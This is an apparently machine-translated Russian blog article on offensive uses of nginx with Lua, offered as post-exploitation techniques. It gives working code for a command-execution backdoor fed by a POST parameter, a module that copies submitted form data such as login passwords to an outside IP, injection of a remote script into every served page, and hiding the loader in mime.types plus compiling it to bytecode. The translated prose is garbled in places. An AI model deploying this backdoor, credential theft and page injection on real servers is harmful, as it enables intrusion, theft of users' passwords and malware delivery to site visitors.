Говоря о некоторых применениях nginx + lua в безопасности

задняя часть Nginx Безопасность Lua
Говоря о некоторых применениях nginx + lua в безопасности

резюме

Nginx — это высокопроизводительный веб-сервер и обратный прокси-сервер, разработанный на языке C. Он напрямую использует c/c++ для вторичной разработки, которая имеет определенный порог для многих пользователей, а эффективность разработки c/c++ не так хороша, как у python. , js, lua и другие языки, среди python, js, lua, lua это язык с самым маленьким парсером и самой высокой производительностью, luajit в 10 раз быстрее lua. В настоящее время комбинация nginx и lua поддерживается компанией Chunge.openrestyподдерживается TaobaoTengine.

  1. Первым, кто объединил Nginx и Lua, был OpenResty, и брат Чун предоставилмодуль модуля lua-nginx, вы можете встроить Lua в Nginx, Проект, подаренный на конференции Hammer T2, — openresty от Chunge;

  2. Затем Tengine форкает ветку nginx, которая также включает в себямодуль модуля lua-nginx.

Разница между опенрестом и тенгине:

  1. OpenResty — это пакет Nginx, синхронизированный с последней официальной версией.

  2. Tengine — это форк версии Nginx 1.6.2, и Ali сделал некоторые специальные разработки для nginx в соответствии со своей бизнес-ситуацией.

Сценарии применения nginx + lua

Объединив различные хорошо спроектированные модули Nginx (в основном разработанные командой OpenResty), OpenResty эффективно превращает Nginx в мощную платформу веб-приложений общего назначения, которая широко используется в веб-приложениях и информационной безопасности:

  1. Бизнес-подразделения могут использовать его для быстрого создания высокопроизводительной системы веб-приложений, поддерживающей 10 000 или даже более 1 000 000 одновременных подключений к одной машине.OpenResty Con 2015, текущие веб-фреймворки на основе openresty следующие:

    1. GitHub - leafo/lapis: A web framework for Lua and OpenResty written in MoonScript
    2. GitHub - idevz/vanilla: An OpenResty Lua MVC Web Framework
    3. GitHub - sumory/lor: a fast, minimalist web framework for lua based on OpenResty
    4. GitHub.com/двойное лицо/в основном…
  2. Практики безопасности часто используют для написания waf, прокси-сервера безопасности (аутентификация личности, удаление конфиденциальной информации и т.

В этой статье сначала описывается частичное проникновение, в основном включающее следующие аспекты:

  1. задняя дверь
  2. Мониторинг данных и кража
  3. висячая лошадь
  4. Шифрование и сокрытие кода Lua

Установить

опенресты и тенгин

Openresty и tengine по умолчанию имеют встроенные функции lua, и процесс установки более удобен.

  1. установка openresty
    tar xzvf ngx_openresty-VERSION.tar.gz cd ngx_openresty-VERSION/ ./configure gmake gmake install
    

  2. Установка тенжина
    wget http://tengine.taobao.org/download/tengine-2.1.2.tar.gz tar -zxvf tengine-2.1.2.tar.gz cd tengine-2.1.2 ./configure make make install
    

Установить lua-nginx-модуль для nginx

Установка lua-nginx-модуля для nginx делится на следующие этапы:

  1. Установите LuaJIT 2.0 или 2.1 или lua 5.1 (версии выше 5.2 не поддерживаются)
  2. Скачать ngx_devel_kit, ngx_lua

Процесс компиляции и установки выглядит следующим образом:

wget 'http://nginx.org/download/nginx-1.9.15.tar.gz'
 tar -xzvf nginx-1.9.15.tar.gz
 cd nginx-1.9.15/
 export LUAJIT_LIB=/path/to/luajit/lib
 export LUAJIT_INC=/path/to/luajit/include/luajit-2.1
 ./configure --prefix=/opt/nginx \
         --with-ld-opt="-Wl,-rpath,/path/to/luajit-or-lua/lib" \
         --add-module=/path/to/ngx_devel_kit \
         --add-module=/path/to/lua-nginx-module
 make -j2
 make install

nginx 1.9.11 и более поздние версии поддерживают динамическую загрузку модулей, компилируют ngx_devel_kit и ngx_lua в файлы .so и загружают их в nginx через инструкцию load_module.

load_module /path/to/modules/ndk_http_module.so;  # assuming NDK is built as a dynamic module too
load_module /path/to/modules/ngx_http_lua_module.so;

Метод компиляции модуля nginx в динамический модуль может относиться к:Converting Static Modules to Dynamic ModulesВ практических приложениях, если целевой веб-сайт является родным nginx, мы также можем рассмотреть возможность использования команды nginx -V для получения параметров компиляции целевого веб-сайта, а затем скомпилировать ту же версию бинарного файла nginx с модулем lua в локальном виртуальном замена машинного файла на целевой сайт.

задняя дверь

Добавьте следующее в раздел http в файле nginx.conf:

http {
  include       mime.types;
  # lua 文件的位置
  lua_package_path "/usr/local/openresty/nginx/conf/lua_src/?.lua;;";
  # nginx启动阶段时执行的脚本,可以不加
  init_by_lua_file 'conf/lua_src/Init.lua';

Содержимое conf/lua_src/Init.lua следующее:

local p = "/usr/local/openresty/nginx/conf/lua_src"
local m_package_path = package.path
package.path = string.format("%s?.lua;%s?/init.lua;%s", p, p, m_package_path)
cmd = require("t")

cmd = require("t") означает, что модуль в t.lua загружен и назван cmd, который можно вызывать через переменную cmd на всех этапах выполнения nginx. t.lua реализует простую функцию выполнения команды следующим образом:

local _M = {}
function _M.run()
    ngx.req.read_body()
    local post_args = ngx.req.get_post_args()
    -- for k, v in pairs(post_args) do
    --    ngx.say(string.format("%s = %s", k, v))
    -- end
    local cmd = post_args["cmd"]
    if cmd then
        f_ret = io.popen(cmd)
        local ret = f_ret:read("*a")
        ngx.say(string.format("reply:\n%s", ret))
    end
end
return _M

Nginx имеет 11 этапов обработки, как показано на следующем рисунке: Как правило, этапы, которые мы обычно используем в процессе разработки, следующие:

  1. set_by_lua*: Инициализация переменной процесса обработки суждения
  2. rewrite_by_lua*: перенаправление, перенаправление, кэширование и другие функции (например, проксирование определенных запросов во внешнюю сеть)
  3. access_by_lua*: Централизованная обработка IP-доступа, разрешений интерфейса и т. д. (например, для завершения простого брандмауэра с помощью iptable)
  4. content_by_lua*: создание контента
  5. header_filter_by_lua*: Ответ на фильтрацию HTTP (например, добавление заголовков)
  6. body_filter_by_lua*: Обработка фильтрации BODY ответа (например, содержимое ответа унифицировано в верхнем регистре)
  7. log_by_lua*: после завершения сеанса запись журнала выполняется асинхронно локально (журналы могут записываться локально, а также могут быть синхронизированы с другими машинами)

В общем, мы можем использовать этап содержимого.Следующий пример — поместить content_by_lua в /test/ расположение сегмента сервера.

1     location /test/ {
2       content_by_lua '
3       cmd.run()
4       ';
5     }

Эффект выполнения показан на рисунке:

Если вы измените content_by_lua на access_by_lua (этап содержимого нельзя размещать в разделе http) и поместите его в раздел http для представления глобального бэкдора, любой URL-адрес, если будут переданы наши конкретные параметры, nginx ответит , даже если это страница 404 Да, как показано на рисунке ниже:


Мониторинг данных и кража

nginx реализует незаконный и удобный мониторинг данных, если можно использовать следующие строки кода ngx.req.read_body() и local post_args = ngx.req.get_post_args(), а затем можно использовать модуль lua-resty-http. используется для отправки данных через post Go в место, указанное Heiko, и тестовый код выглядит следующим образом:

local http = require "resty.http"
local cjson = require("cjson")

local _M = {}

function _M.sniff()
    ngx.req.read_body()
    local post_args = ngx.req.get_post_args()
    ngx.log(ngx.DEBUG, "data=" .. cjson.encode(post_args))
    if post_args then
        local httpc = http.new()
        local res, err = httpc:request_uri("http://111.111.111.111/test/", {
            method = "POST",
            body = "data=" .. cjson.encode(post_args),
            headers = {
            ["Content-Type"] = "application/x-www-form-urlencoded",
        }
        })
    end
end

return _M

Затем используйте торнадо, чтобы написать веб-программу, которая принимает параметры публикации.Тестовый код и результат следующие:

Если код мониторинга размещен в http-сегменте nginx, это означает, что глобальный мониторинг и кража почтовых данных, чтобы Heikuo получал все запросы почтовых данных, также повлияют на производительность целевого сервера.

access_by_lua 'cmd.sniff() ';

Лучше всего размещать его в ключевом месте целевого сайта, таком как /login, /admin и т. д. Следует отметить, что lua-resty-http реализован на основе cosocket, поэтому его нельзя размещать в следующем этапы set_by_lua*, log_by_lua *, header_filter_by_lua*, body_filter_by_lua.

Если вы хотите записать только правильный пароль и отфильтровать неправильные, вам нужно использовать значение, возвращенное сервером на этапе header_filter_by_lua или body_filter_by_lua, чтобы определить, является ли пароль, отправленный пользователем, правильным. вы хотите отправить его на сервер, вы не можете использовать lua -resty-http, но можете отправить его асинхронно через ngx.timer.at. Кроме того, вы также можете использовать сторонний модуль lua-requests для отправки данных на этапе header_filter_by_lua или body_filter_by_lua.Процесс использования luarocks для установки lua-запросов для openresty выглядит следующим образом:

wget http://luarocks.org/releases/luarocks-2.0.13.tar.gz
tar -xzvf luarocks-2.0.13.tar.gz
cd luarocks-2.0.13/
./configure --prefix=/usr/local/openresty/luajit \
    --with-lua=/usr/local/openresty/luajit/ \
    --lua-suffix=jit-2.1.0-alpha \
    --with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1
make
sudo make install

sudo /usr/local/openresty/luajit/luarocks install lua-requests

висячая лошадь

Когда nginx возвращает данные, вы можете вставить веб-троян, код выглядит следующим образом:

function _M.hang_horse()
    local data = ngx.arg[1] or ""
    local html = string.gsub(data, "</head>", "<script src=\"http://docs.xsec.io/1.js\"></script></head>")
    ngx.arg[1] = html
end

После размещения его в каталоге / целевого веб-сайта эффект будет следующим:

location ~* ^/ {
    body_filter_by_lua 'cmd.hang_horse()';

Шифрование и сокрытие кода Lua

lua загрузить код программной части

Ведь его очень легко обнаружить после добавления кода для выполнения lua в nginx.conf.Атакующий может использовать директиву include, чтобы скрыть следующий код.

http {
  include       mime.types;
  # lua 文件的位置
  lua_package_path "/usr/local/openresty/nginx/conf/lua_src/?.lua;;";
  # nginx启动阶段时执行的脚本,可以不加
  init_by_lua_file 'conf/lua_src/Init.lua';

Измените его на следующее содержимое, которое выглядит точно так же, как и предыдущая конфигурация.Поместите код для загрузки lua в файл mime.types.MIME.types обычно используется nginx по умолчанию, и обычно мало кто проверяет или изменяет его содержание.

http {
  include       mime.types;

шифрование луа-кода

Даже если код конфигурации, загруженный lua, находится в скрытом месте, все равно есть риск быть найденным.Если код lua найден в открытом тексте, местонахождение будет раскрыто с первого взгляда, по крайней мере, зашифруйте код lua. Openresty использует luajit, luajit предоставляет параметр luajit -b, который может скомпилировать код в байт-код, так что увидеть открытый текстовый код непросто.

Метод использования показан на следующем рисунке (путь luajit по умолчанию для openresty — /usr/local/openresty/luajit/bin/luajit), просто замените открытый текстовый файл скомпилированным байт-кодом lua.


Суммировать

После получения полномочий root целевого хоста, очевидно, не лучший выбор — оставить только бэкдор nginx+lua с правами доступа только к веб-контейнеру.Эта статья дает только возможную идею.Адрес тестового кода на github:GitHub — netxfly/nginx_lua_security: рассказ о применении nginx+lua в сфере безопасности

Хотя это очень мало, просто для доли ...